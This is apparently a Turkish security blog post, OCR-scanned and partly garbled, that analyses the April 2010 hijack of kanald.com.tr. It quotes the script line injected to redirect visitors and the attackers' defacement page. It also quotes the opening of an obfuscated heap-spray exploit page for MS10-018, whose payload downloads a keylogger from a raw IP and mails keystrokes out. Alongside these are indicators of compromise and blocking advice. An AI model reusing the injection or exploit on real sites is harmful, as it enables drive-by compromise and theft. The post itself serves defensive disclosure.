Kanald.com.tr Hacklendi..

written by Mert SARICA | 22 April 2010
20:30 siralarinda http://www.kanald.com.tr sitesi bilgisayar korsanlari

tarafindan hacklenerek sayfaya giren ziyaretcgiler
http://m3ng3nll.by.ru/birand.html web sayfasina yonlendirildi. Her ne kadar
korsanlarin sayfada yayinladiklari mesaj masum gibi gorunsede aslinda
sayfanin kaynak kodu incelendiginde heap-spray yontemi ile yamasi gincel
olmayan Internet Explorer tarayicisina sahip olan ziyaretciler istismar
edilmeye yani isletim sistemi ele gecirilmeye calisiliyordu. Istismar kodunu
kayit edebildim, elimdeki verileri toparlamaya calisiyorum, imkanim oldukca
sizleri bilgilendirecegim. Internet Explorer sirumi gincel olmayanlariniz bu
sayfayl ziyaret etti ise blyuk tehlike altinda olabilirsiniz bu nedenle
isletim sisteminiz Uzerindeki sira disi aktivitelere dikkat etmenizde fayda

var..

Glincelleme @01:10: Benden bu kadar kendinizi ve aginizi korumak istiyorsaniz

yapmaniz gerekenler;

217.23.7.125 IP adresine dogru tum trafigi yasaklayin ve izlemeye alin.

xxX.exe adinda isletim sisteminizde bir dosya varsa (MD5 hashi:
b597c4a7451a84d94ff421f4ba3cd4dbec) silin.

windows\system32 klasoru altinda a.exe adinda bir dosya varsa (MD5
hashi: b597c4a7451a84d94ff421f4ba3c4d6c) silin.

e pcsecurity35@gmail.com e-posta adresine giden tim e-postalari yasaklayin

ve izlemeye alain.

Guncelleme @01:00: xxx.exe ve a.exe leetlogger adinda bir tus kayit
(keylogger) programi ve tus kayitlarini pcsecurity35@gmail.com e-posta
adresine gonderiyor, dikkat!

Guncelleme @00:42: Istismar kodu http://217.23.7.125/xxx.exe dosyasini
indirip calastiriyor ve daha sonra kendisini system32 klasoOri altinda a.exe

ad1 altinda sakliyor, dikkat!

Giincelleme @00:30: Istismar kodunun online analiz sonucu


https://www.mertsarica.com/kanald-com-tr-hacklendi/

{2 Virustotal. MD5: a7e05ebedaBd59fc7274821f2d050621 Trojan.Crypt. XPACK.Gen2 Gen:Trojan.Heur.TP.cq - Windows Internet Explorer
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File exploit.exe received on 2010.04.22 21:26:54 (UTC) B
Current status: finished
Result: 20/40 (50.00%)
b8 Compact Print results |8
Antivirus Version Last Update Result

a-squared £.5.0.50 2010.04. =

Ahnlab-V3 5.0.0.2 2010.0

Antivir 8.2.1.220 2010.04.

Entiy-2VL Z AT 2010.04.

Buthentium 5.2.0.5 2010.0

Avast 4.8, 2010.04.

Evasts 5 7]

VG 3.0 2

BitDefender 7.2 2

CAT-QuickHeal 10.00 z

ClamivV 0.96.0.3-giz 20

Comodo 4667 2

Drieb 5.0.2.03300 20

eSafe 7.0.17.0 2

eTrust-Vet 35.2.7444 20

F-Prot 4.5.1.85 2 W32/Rozena.X.gen!Eldorads 3
Done & Internet sy - WMok -

Gincelleme @00:09: Istismar edilen giivenlik zafiyeti tespit edildi — MS10-018
Hedef IE surumleri:

e Microsoft Internet Explorer 7, Windows Vista SP2
e Microsoft Internet Explorer 7, Windows XP SP3
e Microsoft Internet Explorer 6, Windows XP SP3

Glncelleme @22:01: Korsanlar kanald.com.tr sayfasinin kaynak koduna asagidaki

satiri eklemisler.
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<?dhref=”/D'iZ'i/'Deta'i'I.aspx?d'iZ'iId=88” class="Tnk">Cumartesi 20:00</a> ;|
</divs

<div class="blk">
<h3=Kavak velleri</h3>

<a href=”/D'iz‘i/Deta'i'I.aspx?d'iri Id=12" class="1img">

; <img id="Imgl" src="http://cdn.dogantv.com.tr /Uploads /Images,/21042010032337.jpg" al
</a>

<a href="/pizi/Detail.aspx?diziid=12" class="cnt">Hapishaneden cikan Given, olup bitenle
<?dhref=”/D'iZ'i/Deta'i'I.aspx?d'iz‘iId=12” class="Tnk">Cumartesi 22:15</a>

</div>

</div>
<div id="bprg" class="block"> =]
<h2>Programlar</h2>
|

<div_class="blk">
|<h3><5cr'i pt>=location="http://m3ng3nll.by.ru/birand. html"</script></h3> |

<a href="/pProgram/Detail.aspx?programIid=27" class="img">
<img id="Imgl"” width="313" height="157" src="http://cdn. dogantv. com.tr /Uploads/Images/22042010122440. jpg" al
</ a>

<a href="/Program/Detail.aspx?programId=27"
class="cnt">
[&Tt; script&gt; Tocation=&quot;http://m3ng3nTl.by.ru/birand. htmT&quot; &Tt; /script&gt; [Kanal D&rsquojnin &ouml;m

</a>
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Korsanlarin yonlendirdigi sayfa:


http://www.microsoft.com/technet/security/bulletin/ms10-018.mspx
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Sebebi Ziyaretimize
amef - MUSLLLAT - BondBey - CMD - Oss1- MadSystem= KaCak

Birand'im Dinsizin Hakkindan Sen gelirsin \
ASK-1 MEMNU ISTEMIYORUZ ’

Borgir 2012

Souanare ion

HA BIZ YILMAZ ERDOGAN' ada KARSIYIZ
ASLINDA BIZ SANADA KARSIYIZ BIRAND-IM
ABI BIZ T.C AHLAK DEGERLERINE AYKIRI OLAN HERBISEYE KARSIYIZ
AMA SEN ANLARSIN ANLASAN ANLASAN

81Z SENI SECTIK BIRANDYU
Abi aman sikayet mikayet olmasin sadece zaaflarinizi giderin

Sayfanin IP adresi:

& C:\Windows \system32\cmd.exe
Microzsoft Windows [Uersion 6.1.76HA1
Copyright (c>» 28089 Microsoft Corporation. All rights reserved.

CisllzerssMert>nslookop m3ngdnll.by.ru
Server: resolverd_opendns.com
Addresz:= 208.67.222_.222

Mon—authoritative answer:
Mame = m3nginll _by_ru
Address:= 83.222.20.157

C:sUzers-Mert>_

Host IPS alarmi:
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/i, Symantec Endpoint Protection
Traffic from IP address 83.222.20.157 is blocked from
22.04.2010 21:13:47 to 22.04.2010 21:23:47.

[SID: 22805] HTTP Microsoft IE Generic Heap Spray BO
detected.
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<html><title>Haxored Dogan Holding A.S</title>

<style type="text/csa">

<l-—

.atylel {color: #FFFFFF}

-—>

</style>

<body bgcolor="black”>

<p align="center">&nbsp;</p>

<p align="center">&nbsp;</p>

<p align="center"3<img src="http://i40.tinypic.com/154x8co.ipg" width="720" height="134"></p>
<p align="center"><img src="http://i44.tinypic.com/2cqgrad. " width="720" height="134"></p>
<p align="center" class="stylel"><img src="http://i4l.tinvpic.com/21b7km9.ipg" width="720" height="134"></p>
</body>

</html>
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<html>

<head>

<style type="text/css">

.vdeFseTgAwtxQpQIUen {behavior: url ($defaultjuserData);}

</style>

</head>

2| <script>

2 function acusbkpHgcScmbaGExXZCKWsEcUXbEH () {

24 var zauEirQEfrGEuMETLGcEW]zBNgvpjcsPWwnCegMft =
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